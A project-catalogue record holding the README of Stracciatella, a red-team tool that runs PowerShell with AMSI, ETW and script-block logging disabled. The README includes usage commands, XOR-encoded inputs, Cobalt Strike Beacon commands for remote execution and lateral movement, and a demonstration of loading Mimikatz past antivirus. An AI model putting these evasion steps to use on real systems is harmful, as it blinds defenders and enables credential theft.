{"id":18001411,"url":"https://github.com/mgeeky/stracciatella","last_synced_at":"2025-04-05T08:08:48.357Z","repository":{"id":37078479,"uuid":"193798960","full_name":"mgeeky/Stracciatella","owner":"mgeeky","description":"OpSec-safe Powershell runspace from within C# (aka SharpPick) with AMSI, Constrained Language Mode and Script Block Logging disabled at startup","archived":false,"fork":false,"pushed_at":"2022-09-18T17:21:54.000Z","size":12511,"stargazers_count":516,"open_issues_count":5,"forks_count":65,"subscribers_count":14,"default_branch":"master","last_synced_at":"2025-03-29T07:08:44.395Z","etag":null,"topics":["amsi","bypass","opsec","powershell","redteam","sharppick","unmanaged"],"latest_commit_sha":null,"homepage":"","language":"C#","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/mgeeky.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2019-06-25T23:55:29.000Z","updated_at":"2025-02-19T00:37:28.000Z","dependencies_parsed_at":"2023-01-17T13:31:39.613Z","dependency_job_id":null,"html_url":"https://github.com/mgeeky/Stracciatella","commit_stats":null,"previous_names":[],"tags_count":2,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mgeeky%2FStracciatella","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mgeeky%2FStracciatella/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mgeeky%2FStracciatella/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mgeeky%2FStracciatella/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/mgeeky","download_url":"https://codeload.github.com/mgeeky/Stracciatella/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247305935,"owners_count":20917208,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["amsi","bypass","opsec","powershell","redteam","sharppick","unmanaged"],"created_at":"2024-10-29T23:17:25.008Z","updated_at":"2025-04-05T08:08:48.335Z","avatar_url":"https://github.com/mgeeky.png","language":"C#","funding_links":["https://github.com/sponsors/mgeeky"],"categories":[],"sub_categories":[],"readme":"# Stracciatella v0.7\n\nPowershell runspace from within C# (aka `SharpPick` technique) with AMSI, ETW and Script Block Logging disabled for your pleasure.\n\nNowadays, when Powershell got severly instrumented by use of techniques such as:\n* AMSI\n* ETW\n* Script Block Logging\n* Transcript file\n* Modules logging\n* Constrained Language Mode\n\nAdvanced attackers must find ways to circumvent these efforts in order to deliver sophisticated adversarial simulation exercises. In order to help in these efforts, following project was created.\n\nThis program builds on top of bypasses for specific techniques included in:\n* [Disable-Amsi.ps1](https://github.com/mgeeky/Penetration-Testing-Tools/blob/master/red-teaming/Disable-Amsi.ps1)\n* [KillETW.ps1 by tandasat](https://gist.githubusercontent.com/tandasat/e595c77c52e13aaee60e1e8b65d2ba32/raw/115d0c513d041243a06a764546fd57e7c2f5e47e/KillETW.ps1)\n* [Disable-ScriptLogging.ps1](https://github.com/mgeeky/Penetration-Testing-Tools/blob/master/red-teaming/Disable-ScriptLogging.ps1)\n\nWhich in turn was based on following researches:\n- Matt Graeber: https://github.com/mattifestation/PSReflect\n- Matt Graeber: https://twitter.com/mattifestation/status/735261120487772160\n- Avi Gimpel: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/\n- Adam Chester: https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/\n- Ryan Cobb: https://cobbr.io/ScriptBlock-Logging-Bypass.html\n- Ryan Cobb: https://cobbr.io/ScriptBlock-Warning-Event-Logging-Bypass.html\n\nThe SharpPick idea, meaning to launch powershell scripts from within C# assembly by the use of Runspaces is also not new and was firstly implemented by Lee Christensen (@tifkin_) in his:\n* [UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell)\n\nAlso, the source code borrows implementation of `CustomPSHost` from Lee.\n\nThis project inherits from above researches and great security community in order to provide close-to-be-effective Powershell environment with defenses disabled on startup.\n\nNow easily compiles with .NET 4.0 whereas if compiled with .NET Framework 4.7.1+ an additional functionality is included that allows to unload DLLs constituting CLM bypass artefacts and attempts to delete them afterwards (hardly working to be honest).\n\nBest mileage one gets with Stracciatella compiled with .NET 4.0.\n\n## OpSec\n\n* This program provides functionality to decode passed parameters on the fly, using Xor single-byte decode\n* Before launching any command, it makes sure to disable AMSI using two approaches and ETW\n* Before launching any command, it makes sure to disable Script Block logging using two approaches\n* This program does not patch any system library, system native code (think amsi.dll)\n* Efforts were made to not store decoded script/commands excessively long, in order to protect itself from memory-dumping techniques governed by EDRs and AVs\n\n\n## Usage\n\nThere are couple of options available:\n\n```powershell\nPS D:\\\u003e Stracciatella -h\n\n  :: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.\n  Mariusz Banach / mgeeky, '19-22 \u003cmb@binary-offensive.com\u003e\n  v0.7\n\nUsage: stracciatella.exe [options] [command]\n  -s \u003cpath\u003e, --script \u003cpath\u003e - Path to file containing Powershell script to execute. If not options given, will enter\n                               a pseudo-shell loop. This can be also a HTTP(S) URL to download \u0026 execute powershell script.\n  -v, --verbose              - Prints verbose informations\n  -n, --nocleanup            - Don't remove CLM disable leftovers (DLL files in TEMP and COM registry keys).\n                               By default these are going to be always removed.\n  -C, --leaveclm             - Don't attempt to disable CLM. Stealthier. Will avoid leaving CLM disable artefacts undeleted.\n  -f, --force                - Proceed with execution even if Powershell defenses were not disabled.\n                               By default we bail out on failure.\n  -c, --command              - Executes the specified commands You can either use -c or append commands after\n                               stracciatella parameters: cmd\u003e straciatella ipconfig /all\n                               If command and script parameters were given, executes command after running script.\n  -x \u003ckey\u003e, --xor \u003ckey\u003e      - Consider input as XOR encoded, where \u003ckey\u003e is a one byte key in decimal\n                               (prefix with 0x for hex)\n  -p \u003cname\u003e, --pipe \u003cname\u003e   - Read powershell commands from a specified named pipe. Command must be preceded with 4 bytes of\n                               its length coded in little-endian (Length-Value notation).\n  -t \u003cmillisecs\u003e, --timeout \u003cmillisecs\u003e\n                             - Specifies timeout for pipe read operation (in milliseconds). Default: 60 secs. 0 - infinite.\n  -e, --cmdalsoencoded       - Consider input command (specified in '--command') encoded as well.\n                               Decodes input command after decoding and running input script file.\n                               By default we only decode input file and consider command given in plaintext\n```\n\nThe program accepts command and script file path as it's input. Both are optional, if none were given - pseudo-shell will be started.\nBoth command and script can be further encoded using single-byte XOR (will produce output Base64 encoded) for better OpSec experience.\n\nHere are couple of examples presenting use cases:\n\n1. *Pseudo-shell* - intiatiated when neither command nor script path options were given:\n\n```powershell\nPS D:\\\u003e Stracciatella.exe -v\n\n  :: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.\n  Mariusz Banach / mgeeky, '19-22 \u003cmb@binary-offensive.com\u003e\n  v0.7\n\n[.] Powershell's version: 5.1\n[.] Language Mode: FullLanguage\n[+] No need to disable Constrained Language Mode. Already in FullLanguage.\n[+] Script Block Logging Disabled.\n[+] AMSI Disabled.\n[+] ETW Disabled.\n\nStracciatella D:\\\u003e $PSVersionTable\n\nName                           Value\n----                           -----\nPSVersion                      5.1.18362.1\nPSEdition                      Desktop\nPSCompatibleVersions           {1.0, 2.0, 3.0, 4.0...}\nBuildVersion                   10.0.18362.1\nCLRVersion                     4.0.30319.42000\nWSManStackVersion              3.0\nPSRemotingProtocolVersion      2.3\nSerializationVersion           1.1.0.1\n```\n\n2. *XOR encoded (key = 0x31) command and path to script file*\n\nFirstly, in order to prepare encoded statements we can use bundled `encoder.py` script, that can be used as follows:\n\n```powershell\nPS D:\\\u003e python encoder.py -h\nusage: encoder.py [options] \u003ccommand|file\u003e\n\npositional arguments:\n  command               Specifies either a command or script file's path for encoding\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -x KEY, --xor KEY     Specifies command/file XOR encode key (one byte)\n  -o PATH, --output PATH\n                        (optional) Output file. If not given - will echo output to stdout\n\nPS D:\\\u003e python encoder.py -x 0x31 \"Write-Host \\\"It works like a charm!\\\" ; $ExecutionContext.SessionState.LanguageMode\"\nZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU\n```\n\nThen we feed `encoder.py` output as input being an encoded command for Stracciatella:\n\n```powershell\nPS D:\\\u003e Stracciatella.exe -v -x 0x31 -c \"ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU\" .\\Test2.ps1\n\n  :: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.\n  Mariusz Banach / mgeeky, '19-22 \u003cmb@binary-offensive.com\u003e\n  v0.7\n\n[.] Will load script file: '.\\Test2.ps1'\n[+] AMSI Disabled.\n[+] ETW Disabled.\n[+] Script Block Logging Disabled.\n[.] Language Mode: FullLanguage\n\nPS\u003e \u0026 '.\\Test2.ps1'\nPS\u003e Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode\n[+] Yeeey, it really worked.\nIt works like a charm!\nFullLanguage\n\n```\n\nWhereas:\n\n- `Command` was built of following commands: `Base64Encode(XorEncode(\"Write-Host \\\"It works like a charm!\\\" ; $ExecutionContext.SessionState.LanguageMode\", 0x31))`\n- `Test2.ps1` - contained: `\"ZkNYRVQceV5CRRETahpsEWhUVFRIHRFYRRFDVFBdXUgRRl5DWlRVHxM=\"` `(Base64(XorEncode(\"Write-Host \\\"[+] Yeeey, it really worked.\\\"\", 0x31)))`\n\n\n## Cobalt Strike support\n\nStracciatella comes with Aggressor script that when loaded exposes `stracciatella` command in the Beacon console. The usage is pretty much similar to `powerpick` (by previously importing powershell scripts via `stracciatella-import`). The input parameter will be xored with a random key and passed over a randomly named Pipe to the Stracciatella's runspace. \n\nFollowing Cobalt Strike commands are available:\n\n| Cobalt Strike command                                      | Description                                                                                                                                           |\n|------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------|\n| `stracciatella [-v] \u003ccommand\u003e`                             | executes given commands                                                                                                                               |\n| `stracciatella-remote [-v] \u003cmachine\u003e \u003cpipename\u003e \u003ccommand\u003e` | executes given commands on a remote machine on specified pipe                                                                                         |\n| `stracciatella-import \u003cscriptpath\u003e`                        | imports a powershell script for use with Stracciatella                                                                                                |\n| `stracciatella-script \u003cscriptpath\u003e \u003ccommand\u003e`              | pre-loads Powershell command with a specified Powershell (ps1) script (combination of `stracciatella-import` and `stracciatella` in single operation) |\n| `stracciatella-clear`                                      | clears imported script on that Beacon                                                                                                                 |\n| `stracciatella-timeout \u003cmilliseconds\u003e`                     | adjusts default named pipe read timeout                                                                                                               |\n| `bofnet_loadstracciatella`                                 | loads Stracciatella.exe into BOF.NET (if one is used)                                                                                                 |\n| `bofnet_stracciatella \u003ccommand\u003e`                           | (non-blocking) Runs Powershell commands in a safe Stracciatella runspace via BOF.NET `bofnet_jobassembly`                                             |\n| `bofnet_executestracciatella \u003ccommand\u003e`                    | (blocking) Runs Powershell commands in a safe Stracciatella runspace via BOF.NET `bofnet_executeassembly`                                             |\n| `bofnet_stracciatella_script \u003cscriptpath\u003e \u003ccommand\u003e`       | Preloads a specified Powershell script and launches given command with parameters (via BOF.NET)                                                       |\n\n\nOne of the strategies for working with Stracciatella could be to configure a long enough pipe read timeout (1), launch it on a remote machine (2) thus having option for lateral movement over named pipe with a litle help of Stracciatella.\n\nThe advantage over `powerpick` is that the Stracciatella does not patch _AMSI.dll_ in the way like Powerpick does (_AmsiScanBuffer_ patch), thus potentially generating less forensic noise as seen by EDRs looking for in-memory patches. Also, Stracciatella will eventually be able to stabily bypass _Constrained Language Mode_ which is currently not possible using `powerpick`.:\n\n```\nbeacon\u003e stracciatella-import PowerView.ps1\n[+] host called home, sent: 143784 bytes\n\nbeacon\u003e stracciatella Get-Domain\n[*] Tasked Beacon to run Stracciatella: Get-Domain\n[+] host called home, sent: 264483 bytes\n[+] received output:\n\nForest                  : contoso.local\nDomainControllers       : {dc.contoso.local}\nChildren                : {us.eu.contoso.local}\nDomainMode              : Unknown\nDomainModeLevel         : 7\nParent                  : contoso.local\nPdcRoleOwner            : dc.eu.contoso.local\nRidRoleOwner            : dc.eu.contoso.local\nInfrastructureRoleOwner : dc.eu.contoso.local\nName                    : eu.contoso.local\n\n```\n\nFinally, Stracciatella may be easily used by some other tools/C2s that don't offer any functionality to evade powershell protections.\n\nWhenever `stracciatella` returns the 2 error (_ERROR_FILE_NOT_FOUND_) that is because Stracciatella timed out while internally awaiting for data to be written to its named pipe. \n\n```\nbeacon\u003e stracciatella Resolve-IPAddress dc1.bank.corp\n[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp\n[+] [11/02 03:32:50] host called home, sent: 1007245 bytes\n[+] [11/02 03:33:13] host called home, sent: 191805 bytes\n[-] Could not connect to pipe (\\\\.\\pipe\\85f2acfe-2ca9-4364-af08-f1c654966c1a): 2.\n```\n\nThis can be remediated however by adjusting Straciatella's timeout parameter using:\n\n```\nbeacon\u003e stracciatella-timeout 600000\n\nbeacon\u003e stracciatella Resolve-IPAddress dc1.bank.corp\n[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp\n[+] [11/02 04:01:11] host called home, sent: 1007265 bytes\n[+] [11/02 04:01:33] host called home, sent: 191805 bytes\n[+] received output:\n\nComputerName  IPAddress \n------------  --------- \ndc1.bank.corp 10.10.10.5\n\n```\n\nThe associated aggressor script leverages internal Beacon routines to write to a randomly named pipe, that on the other end will be listened upon by Stracciatella's logic. Receiver end will await for inbound data for some period of time (`--timeout` parameter in Stracciatella's options, defaults to 60 seconds) and given there so no data - will time out and abort gently. Otherwise, received commands will be decoded and executed as usual.\n\nSometimes we have Powershell scripts that do not expose any function or reflectively load .NET modules that we would like to invoke from a Powershell runtime. To facilitate that use case, the `stracciatella-script \u003cscriptpath\u003e \u003ccommand` Beacon command can be used. It reads specified powershell script file and appends given `\u003ccommand\u003e` separated by semicolon to that script.\n\n### BOF.NET support\n\nStracciatella's Aggressor script (CNA) detects whether there is BOF.NET loaded and if so, exposes a command:\n\n`bofnet_loadstracciatella`\n\nThat issues `bofnet_load stracciatella.exe`. Additionally, Stracciatella will then run through `bofnet_jobassembly` instead of Cobalt's builtin `execute-assembly`. \n\nThat behaviour is adjustable by changing global variable in `stracciatella.cna` script:\n\n```perl\n#\n# If there's BOF.NET loaded in Cobalt Strike, prefer `bofnet_jobassembly` command over `execute-assembly`.\n# This is useful when we want to switch our tactics to running inline/in-process via BOF.NET instead of fork \u0026 run.\n#\n$FAVOR_BOFNET_INSTEAD_OF_EXECUTE_ASSEMBLY = \"true\";\n```\n\n\n## How do you disable AMSI \u0026 Script Block logging?\n\nBy the use of reflection, as discovered by Matt Graeber, but that program's approach was slightly modified. Instead of referring to symbols by their name, like \"amsiInitFailed\" - we lookup on them by going through every Assembly, Method, Type and Field available to be fetched reflectively. Then we disable AMSI by the manipulation of NonPublic \u0026 Static variables in Management.Automation assembly. The same goes for Script Block logging, whereas in this instance some of ideas were based on Ryan Cobb's (@cobbr) researches.\n\nIn fact, `Stracciatella` uses the same implementation as covered already in above mentioned `Disable-*.ps1` files of mine.\n\nAlso, **we do not attempt to patch amsi.dll**, that's a bit too noisy and may be in near future closely monitored by EDRs/HIPS/AVs. Corrupting integrity of system libraries definitely loses grounds when compared to reflective variables clobbering.\n\n\n## Just show me the `Invoke-Mimikatz`, will you?\n\nOf course, there you go:\n\n```powershell\nPS D:\\\u003e \"amsiInitFailed\"\nAt line:1 char:1\n+ \"amsiInitFailed\"\n+ ~~~~~~~~~~~~~~~~\nThis script contains malicious content and has been blocked by your antivirus software.\n    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException\n    + FullyQualifiedErrorId : ScriptContainedMaliciousContent\n\nPS D:\\\u003e . .\\Invoke-Mimikatz.ps1\nAt line:1 char:1\n+ . .\\Invoke-Mimikatz.ps1\n+ ~~~~~~~~~~~~~~~~~~~~~~~\nThis script contains malicious content and has been blocked by your antivirus software.\n    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException\n    + FullyQualifiedErrorId : ScriptContainedMaliciousContent\n\nPS D:\\\u003e .\\Stracciatella.exe -v\n\n  :: Stracciatella - Powershell runspace with AMSI and Script Block Logging disabled.\n  Mariusz Banach / mgeeky, '19-22 \u003cmb@binary-offensive.com\u003e\n  v0.7\n\n[-] It looks like no script path was given.\n[+] AMSI Disabled.\n[+] ETW Disabled.\n[+] Script Block Logging Disabled.\n[.] Language Mode: FullLanguage\n\nStracciatella D:\\\u003e . .\\Invoke-Mimikatz.ps1\n\nStracciatella D:\\\u003e Invoke-Mimikatz -Command \"coffee exit\"\n\n  .#####.   mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14\n .## ^ ##.  \"A La Vie, A L'Amour\"\n ## / \\ ##  /* * *\n ## \\ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)\n  '#####'                                     with 20 modules * * */\n\nmimikatz(powershell) # coffee\n\n    ( (\n     ) )\n  .______.\n  |      |]\n  \\      /\n   `----'\n\nmimikatz(powershell) # exit\nBye!\n```\n\n## Known-issues, TODO\n\nCurrently, the way the Stracciatella provides runspace for powershell commands is not the most stealthiest out there. We basically create a Powershell runspace, which loads up corresponding .NET Assembly. This might be considered as a flag that stracciatella's process is somewhat shady. \n\n- **Currently not able to perform a full cleanup of CLM disabling artefacts: DLL files in-use, left in %TEMP%.**\n- Implement rolling XOR with 2,3 and 4 bytes long key.\n- Implement more encoding/encryption strategies, especially ones utilising environmental keying\n- Add Tab-autocompletion and support for Up/Down arrows (having provided that plaintext commands are not going to be stored in Straciatella's memory)\n- Add coloured outputs\n- Script Block Logging bypass _may not be effective_ against Windows Server 2016 and Windows 10 as reported [here](https://github.com/mgeeky/Stracciatella/issues/4)\n\n## Credits\n\n- Ryan Cobb, @cobbr\n- Matt Graeber, @mattifestation\n- Adam Chester, @xpn\n- Avi Gimpel\n- Lee Christensen, @tifkin_\n\n\n---\n\n### ☕ Show Support ☕\n\nThis and other projects are outcome of sleepless nights and **plenty of hard work**. If you like what I do and appreciate that I always give back to the community,\n[Consider buying me a coffee](https://github.com/sponsors/mgeeky) _(or better a beer)_ just to say thank you! 💪 \n\n---\n\n## Author\n\n```   \n   Mariusz Banach / mgeeky, '20-22\n   \u003cmb [at] binary-offensive.com\u003e\n   (https://github.com/mgeeky)\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmgeeky%2Fstracciatella","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmgeeky%2Fstracciatella","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmgeeky%2Fstracciatella/lists"}